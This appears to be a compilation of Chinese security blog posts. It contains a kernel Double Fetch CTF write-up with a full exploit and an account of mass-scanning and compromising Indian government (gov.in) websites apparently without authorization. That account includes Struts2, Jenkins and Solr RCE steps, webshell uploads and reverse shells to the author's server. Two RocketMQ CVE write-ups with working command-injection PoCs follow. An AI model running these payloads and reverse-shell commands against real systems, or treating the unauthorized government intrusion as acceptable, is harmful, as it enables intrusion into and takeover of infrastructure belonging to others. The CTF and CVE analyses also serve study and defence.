前言 Double Fetch(双取)是一种条件竞争的漏洞,相关的论文发表在USENIX,论文链接:https://www.usenix.org/system/files/conference/usenixsecurity17/sec17-wang.pdf Double Fetch Double Fetch是内核的一种漏洞类型,发生在内核从用户空间中拷贝数据时,两次访问了相同一块内存。如下图示(图片来自论文),内核从用户空间拷贝数据时,第一次拷贝会进行安全检测,而第二次拷贝时才会进行数据的使用,那么在第一次拷贝与第二次拷贝的间隙,就能够进行恶意数据篡改。举个例子,在第一次时从用户空间中获取了需要拷贝的长度,并进行长度的检测,但是在第二次拷贝时会再次拷贝长度,并且根据该长度进行数据的拷贝。但是此时的长度是没有经过校验的,因此当该长度在第一次拷贝与第二次拷贝之间被修改,就会导致漏洞的发生。这种漏洞就被称之为Double Fetch。 论文的作者总结了容易发生Double Fetch的情况,如下图示(图片来自论文)。通常用户进程会通过指定的消息格式与内核进行通信,而消息格式通常由消息头与消息体构成。消息头包含了一些特殊属性,比如消息的长度,消息的类型等。那么内核通常会取出消息头,根据消息头的信息,进行不同的分支执行。若在进入分支后,内核依旧提取出消息头,并使用了前面使用过的字段,就非常容易发生Double Fetch,因为在这两次提取的过程中,用户态的程序可以修改消息头。 作者根据Double Fetch发生的场景,并将其进行分类 类型选择 长度检查 浅拷贝 类型选择 类型选择的Double Fetch,如下图示(图片来自论文)。代码截取自cxgb3 main.c。可以看到下述代码首先通过copy_from_user函数从useraddr中拷贝数据到cmd中,而useraddr为用户空间的地址。而后续的流程会根据从useraddr中提取出的数据从而选择执行。并且在每个分支中,又通过copy_from_user函数从useraddr的地址中取出数据,做后续的处理。若在后续的处理中又重复使用到了cmd那么就会导致Double Fetch。 长度选择 长度选择的Double Fetch,如下图示(图片来自论文)。在第一次拷贝是通过copy_from_user从arg中获取数据,并且提取了header.Size,在第二次时又重复了这个过程,这就是明显的Double Fetch。若在两次提取之间修改了header.Size值,并通过aac_fib_send函数发送数据,那么就会导致漏洞的发送,即可以泄露比原本header.Size值更大的数据量。 浅拷贝 浅拷贝则是第一次的拷贝只是将指向用户数据的指针拷贝到内核中,后续在将用户数据拷贝进来。如下图示(图片来自论文)。第一次获取时是通过指向用户数据的指针的指针,而第二次同样是这么获取的,那么在第一次与第二次的间隔中修改指针的指向就会导致数据被修改。 举个例子,即内核拷贝时并不是把能够读取用户数据的地址拷贝进来,而是将指向该地址的地址给拷贝进来,即下图中的ptr,因此后续内核在读取数据的时候都是通过ptr进行获取,那么在两次获取的中途修改了ptr的指向,那么就可以使得内核指向恶意数据。 总结一下Double Fetch的利用流程 内核会从用户空间中获取数据,并且会两次获取相同空间的数据 在两次获取的过程中没有检测获取的数据是否一致 最后在两次获取的过程中,篡改该空间的数据 20180ctf-final-baby 题目链接:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/0ctf-final-baby 在模块中存在baby_ioctl函数,若rsi的值为0x6666则会将flag输出,由于是通过printk,因此需要通过dmesg输出,若rsi为0x1337,则会经过一个校验函数,若通过该校验流程,则会将flag的值与传入的地址的内容进行比较,若内容完全一致,那么则会将flag直接输出,同样的该输出是通过printk,因此需要通过dmesg进行打印。 接着看校验函数,该函数很简单,接受三个参数,a1、a2、a3,若a1 + a2 < a3则通过检查。而a1的值是我们所控制的,即rdx寄存器的值,而a3的值则是通过&current_task中获取的。 可以发现从&current_task中获取的地址为0x7ffffffff000 下图为用户空间的地址分布,可以看到0x7ffffffff000为末尾地址,因此该检测即使若传入的地址是用户空间地址则通过,传入内核空间地址就不通过。 这么做的原因是因为,flag字符串是硬编码到驱动中的,若能够读取内核空间的内容,岂不是可以直接读取了?因此该题做了隔离。 那么这题就能够使用Double Fetch进行利用,重点来看检测部分。驱动会进行三块检测 检查传入的地址是否为用户空间的地址 检查传入的地址的内容的值是否为用户空间的地址 检查传入的长度是否与flag的长度一致 总的来说从用户空间中我们传入了一个结构体 typedef struct {    char *flag_addr;    unsigned long flag_len; }; 可以看到该题在检测的时候获取的用户空间的地址v5,接着在循环过程中再一次获得用户空间的地址v5,在这两次获取的过程中并没有去比较值是否被修改了,那么就导致了Double Fetch。 利用的思路如下 在检测阶段,v5的我们使用用户空间的变量值进行赋值,即v5 = buf 而进入比较阶段,v5的值我们使用flag的地址值进行赋值,即v5 = flag 那么如何获得进入比较阶段的时间点呢,可以看到题目即使比较失败也不会发生异常而是简单的返回,因此我们可以开启一个线程,不断的修改v5 = flag即可 ... void * rewrite_flag_addr(void *arg) { pdata data = (pdata)arg; while(finish == 0) { data->flag_addr = (char *)target_addr; //printf("%p\n",data_flag.flag_addr); } } ... err = pthread_create(&ntid, NULL, rewrite_flag_addr, &data_flag); ... 具体流程如下图,这里用线程的原因 主线程与子线程异步执行 线程之间共享内存信息 因此可以利用其他线程去修改共享的内存 完整exp #include <stdio.h> #include <fcntl.h> #include <string.h> #include <unistd.h> #include <sys/ioctl.h> #include <pthread.h> #define MAXSIZE 1024 #define MAXTIME 1000000 unsigned long target_addr; int finish; typedef struct { char* flag_addr; unsigned long flag_len; }data, *pdata; data data_flag; int fd; void * rewrite_flag_addr(void *arg) { pdata data = (pdata)arg; while(finish == 0) { data->flag_addr = (char *)target_addr; //printf("%p\n",data_flag.flag_addr); } } int main() { fd = open("/dev/baby", O_RDWR); __asm( ".intel_syntax noprefix;" "mov rax, 0x10;" "mov rdi, fd;" "mov rsi, 0x6666;" "syscall;" ".att_syntax;" ); char buf[MAXSIZE]; char *target; int count; int flag = open("/dev/kmsg", O_RDONLY); if (flag == -1) printf("open dmesg error"); while ((count = read(flag, buf, MAXSIZE)) > 0) { if ((target = strstr(buf, "Your flag is at ")) > 0) { target = target + strlen("Your flag is at "); char *temp = strstr(target, "!"); target[temp - target] = 0; target_addr = strtoul(target, NULL, 16); printf("flag address:0x%s\n",target); printf("flag address:0x%lx\n", target_addr); break; } } data_flag.flag_addr = buf; data_flag.flag_len = 33; pthread_t ntid; int err; err = pthread_create(&ntid, NULL, rewrite_flag_addr, &data_flag); for (int i = 0; i < MAXTIME; i++) { ioctl(fd, 0x1337, &data_flag); data_flag.flag_addr = buf; //printf("%d\n",i); } finish = 1; pthread_join(ntid, NULL); printf("end!"); //system("dmesg | grep flag"); }
一次暴露面全开的红帽渗透测试【getshell】
0x01、信息收集阶段 注:本次信息收集过程主要使用FOFA网络探测平台 https://fofa.info/=== 一开始进行收集的时候,有点迷,直接进行了大面积的"gov.in"域名收集 host="gov.in" && country="IN" 哈哈68465条数据,想想就起飞,但是有个问题来了,怎么下载到本地,高级用户的API也只能调用下载1w条数据,左思右想。 试着写了个脚本看看: import pythonfofa import csv filename = "IN_domain.csv" email = 'u_mail' key = 'u_API_KEY' search = pythonfofa.Client(email, key) get_data = search.search('host="gov.in" && country="IN"', size=70000) # print(get_data) requests = [result[1] for result in get_data['results']] print(requests) # 打开CSV文件并设置写入模式 with open(filename, "w", newline="") as file:    writer = csv.writer(file)    # 遍历请求列表    for request in requests:        # 在控制台打印域名        print(request)        # 检测域名是否包含"http://"        if not request.startswith("http://") and not request.startswith("https://"):            # 如果不包含,则在域名前添加"http://"            request = "http://" + request        # 在域名后添加斜杠"/"        request += "/"        # 将请求和值"1"作为一行写入CSV文件        writer.writerow([request, 1]) 是的,肯定不能跑,下断点,调试看看 很好确实是不能直接干7w条,换个收集思路,收集主流框架进行相应的漏扫 主流框架的相关漏洞的FOFA规则语句: Fastjson app="Fastjson" && host="in" && country="IN" && status_code="200" && (port="80" || port="443") Struts2 app="Struts" && host="in" && country="IN" && status_code="200" && (port="80" || port="443") Log4j2 (app="Log4j2" && host="in" && country="IN" && status_code="200" && (port="80" || port="443")) 其他的也都大同小异,照葫芦画瓢就行。 目标站点收集差不多了,就是漏洞探测阶段了。 0x02、漏洞探测及利用 Struts2: 直接掏出大范围漏扫AWVS就行批量漏洞探测: 第一天数据就直接起飞,因为本次目标是==getshell==直接忽略中低危漏洞告警,查看高危漏洞: 很好一堆==Struts2==漏洞,直接上工具: 得到一个RCE(远程命令执行漏洞),远程写入==shell==,先利用工具生成一个==Antsword(蚁剑)jsp格式的shell== 将shell放到一个公网服务器上,接着执行命令查看web路径:/var/tomcat9/pmrportal/ROOT/ 直接执行 curl -o /var/tomcat9/pmrportal/ROOT/shell.jsp http://u_ip/antsword.jsp 然后webshell工具Antsword连接即可: 爆出的该S2-045的漏洞的还有几个,getshell方式同上,不进行细述了___________。 Weblogic: 很好用的awvs,直接上工具注入内存马: 冰蝎连接webshell: 同类型的漏洞还有几个,getshell的方式都一致,不一一概述了》》 (PS:这个时候已经有些疲软了,没有去手测upload的点) Jenkins: 中途其他框架没有收获的时候,就去浏览知识的海洋了,看到一个存在大量未授权+RCE的框架漏洞(Jenkins),二话不说,直接上FOFA: (app="JENKINS" && title=="Dashboard [Jenkins]" && country="IN" && status_code="200") && (port="80" || port="443") 一看86条资产,有戏,数量不多,直接手测: 存在未授权,访问manager --> script页面,进行命令执行测试: println "ls -al".execute().text 存在命令执行,尝试反弹shell: println "bash -i >& /dev/tcp/ip/port 0<&1".execute().text 接收shell的服务器开启端口监听: 执行命令 发现没有shell反弹过来,猜测不能在web端执行反弹shell,于是将反弹shell的命令写入.sh文件中,然后执行,进行反弹shell操作: 在sh文件中写入如下内容: bash -i >& /dev/tcp/ip/port 0<&1 保存在开放的web端口,在jenkins服务中执行如下curl命令远程下载sh文件: println "curl - o /tmp/jenkins.sh http://u_ip:port/jenkins.sh".execute().text 查看.sh文件是否获取成功: println "ls -al /tmp".execute().text 获取.sh文件成功,执行文件,反弹shell: 开启监听: 执行命令,启动.sh文件: println "bash /tmp/jenkins.sh".execute().text 成功监听到谈过来的shell,又拿下一台!其他的没有存在未授权,便没有尝试。 Apache-Solr 闲着没事,打开文库看了几篇RCE复现,心血来潮,打开FOFA: country="IN" && app="Apache-Solr" && status_code="200" && (port="443" || port="80") 数据不大,接着手测,拿到三个未授权(不需要登陆): ==授权==: ==未授权==: 拿到未授权之后,进行CVE探测: 访问/solr/admin/cores/,获取name => music 接着拼接路径/solr/music/config/查看用户配置信息: 都为true,可直接利用公网披露的payload进行RCE, GET /solr/music/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%22whoam Host: ip User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 测试是否出网: 修改执行命令为 curl%20xtolsc.dnslog.cn 可出网,直接反弹shell: GET /solr/music/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%22bash% Host: ip accept: */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close VPS开启端口监听:nc -lvvnp 5000 接听到弹过来的shell了,好,又拿下一台,root权限。 其他漏洞发现 反射型XSS 具体测试过程均无任何难度,无须bypass黑名单之类的,测试语句 <script>alert(1)</script> SQL注入 这类没有具体测试,发现注入点之后直接上SQLmap开扫: sqlmap https://******.gov.in/****/Validate.jsp --data "email=a@a.com&password=123456" --random-agent -t 10 -p password --proxy=http://127.0.0.1:7890 --dbms=mysql 诸如其他的漏洞也有发现,但不是本次渗透的重点,便没重点去深入。 渗透总结 本次测试周期长,测试目标暴露点多,非常有趣的一次渗透实战,后期有其他事儿,就没法全身心投入,蛮可惜的。
Apache RocketMQ 远程代码执行漏洞(CVE-2023-33246)
漏洞简介 RocketMQ 5.1.0及以下版本,在一定条件下,存在远程命令执行风险。RocketMQ的NameServer、Broker、Controller等多个组件外网泄露,缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。 此外,攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果。 影响版本 5.0.0 <= Apache RocketMQ < 5.1.1 4.0.0 <= Apache RocketMQ < 4.9.6 安全版本 Apache RocketMQ 5.1.1 Apache RocketMQ 4.9.6 漏洞复现 在本地创建 maven 项目 并添加依赖 <dependencies>   <!-- https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools -->        <dependency>            <groupId>org.apache.rocketmq</groupId>            <artifactId>rocketmq-tools</artifactId>            <version>5.1.0</version>        </dependency> </dependencies> 编写漏洞利用代码 import org.apache.rocketmq.tools.admin.DefaultMQAdminExt; import java.util.Properties; public class poc1 {    public static void main(String[] args) throws Exception {        // 创建 Properties 对象        Properties props = new Properties();        //修改rocketmqHome配置        props.setProperty("rocketmqHome","-c gnome-calculator test");        props.setProperty("filterServerNums","1");        // 创建 DefaultMQAdminExt 对象并启动        DefaultMQAdminExt admin = new DefaultMQAdminExt();        //此处为 namesrv 端口,此端口无需可访问        admin.setNamesrvAddr("192.168.222.130:9876");        admin.start();        // 更新配置⽂件        //此处为 broker 端口,必须可访问        admin.updateBrokerConfig("192.168.222.130:10911", props);        // 关闭 DefaultMQAdminExt 对象        admin.shutdown();   } } 漏洞分析 我们看到真正有危险的操作应该是与 10911 进行通信的操作,没有进行身份验证和加密传输,同时带入了命令执行的参数 org/apache/rocketmq/remoting/protocol/RequestCode.java code 代表调用不同的功能 org/apache/rocketmq/broker/processor/AdminBrokerProcessor.java#processRequest org/apache/rocketmq/broker/processor/AdminBrokerProcessor.java#updateBrokerConfig org/apache/rocketmq/remoting/Configuration.java#update 如果属性名是其内置的,就进行更新操作 后面的一部分就比较清晰了 org/apache/rocketmq/broker/BrokerStartup.java#start org/apache/rocketmq/broker/BrokerController.java#start org/apache/rocketmq/broker/BrokerController.java#startBasicService org/apache/rocketmq/broker/filtersrv/FilterServerManager.java#start 根据从 Wireshark 中抓取的数据包 我们也可以构造这样的 payload 触发漏洞 import socket import binascii client = socket.socket() # you ip client.connect(('192.168.222.130',10911)) # data json='{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8') body='filterServerNums=1\nrocketmqHome=-c gnome-calculator test'.encode('utf-8') json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2)               # 一个字节是2个十六进制数 head1 = '00000000'+str(hex(json_lens))[2:]                                   # hex(xxxx) 0x1243434 去掉 0x all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)    # 总长度要 加上 head1[-8:] 的值 head2 = '00000000'+str(hex(all_lens))[2:] data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8') # 协议总长度+json长度+json+body # send client.send(bytes.fromhex(data)) data_recv = client.recv(1024) print(data_recv) ‍ 漏洞修复 移除了命令执行的模块
Apache RocketMQ 远程代码执行漏洞(CVE-2023-37582)
漏洞简介 Apache RocketMQ是一款低延迟、高并发、高可用、高可靠的分布式消息中间件。CVE-2023-37582 中,由于对 CVE-2023-33246 修复不完善,导致在Apache RocketMQ NameServer 存在未授权访问的情况下,攻击者可构造恶意请求以RocketMQ运行的系统用户身份执行命令。 影响版本 Apache RocketMQ <= 5.1.1 Apache RocketMQ <= 4.9.6 环境搭建 参考 Apache RocketMQ 远程代码执行漏洞 CVE-2023-33246 的环境搭建 还是为了方便进行调试,我们再 linux 下搭建 RocketMQ 的相关服务,利用源码启动 一共需要运行两个服务 org.apache.rocketmq.namesrv.NamesrvStartup org.apache.rocketmq.broker.BrokerStartup 先启动 NamesrvStartup,再启动 BrokerStartup 同时都需要配置环境变量 ROCKETMQ_HOME ROCKETMQ_HOME\=/home/ubuntu/Desktop/rocketmq-rocketmq-all-5.1.0 漏洞复现 运行 python 脚本 import socket import binascii client = socket.socket() # you ip client.connect(('192.168.222.130',9876)) # data json = '{"code":318,"flag":0,"language":"JAVA","opaque":266,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8') body='configStorePath=/tmp/test.txt\nproductEnvName=123\\ntest'.encode('utf-8') json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2) # 一个字节是2个十六进制数 head1 = '00000000'+str(hex(json_lens))[2:]      # hex(xxxx) 0x1243434 去掉 0x all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens) head2 = '00000000'+str(hex(all_lens))[2:] data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8') # send client.send(bytes.fromhex(data)) data_recv = client.recv(1024) print(data_recv) 成功在 tmp 目录下的 test.txt 文件中写入指定字符串 test 漏洞分析 org/apache/rocketmq/remoting/protocol/RequestCode.java code 代表调用不同的功能,此时调用的是318 更新配置的操作 src/main/java/org/apache/rocketmq/remoting/protocol/RequestCode.java 根据对应的 code 会调用 对应的函数进行处理 src/main/java/org/apache/rocketmq/namesrv/processor/DefaultRequestProcessor.java src/main/java/org/apache/rocketmq/namesrv/processor/DefaultRequestProcessor.java#updateConfig src/main/java/org/apache/rocketmq/remoting/Configuration.java#update 首先判断是不是属于可控的属性 src/main/java/org/apache/rocketmq/remoting/Configuration.java#persist src/main/java/org/apache/rocketmq/remoting/Configuration.java#getStorePath 调用 getStorePath 获取文件路径,此时获取的值是 configStorePath 的值 src/main/java/org/apache/rocketmq/common/MixAll.java#string2File src/main/java/org/apache/rocketmq/common/MixAll.java#string2FileNotSafe src/main/java/org/apache/rocketmq/common/utils/IOTinyUtils.java#writeStringToFile 漏洞修复 修改禁用修改配置路径的参数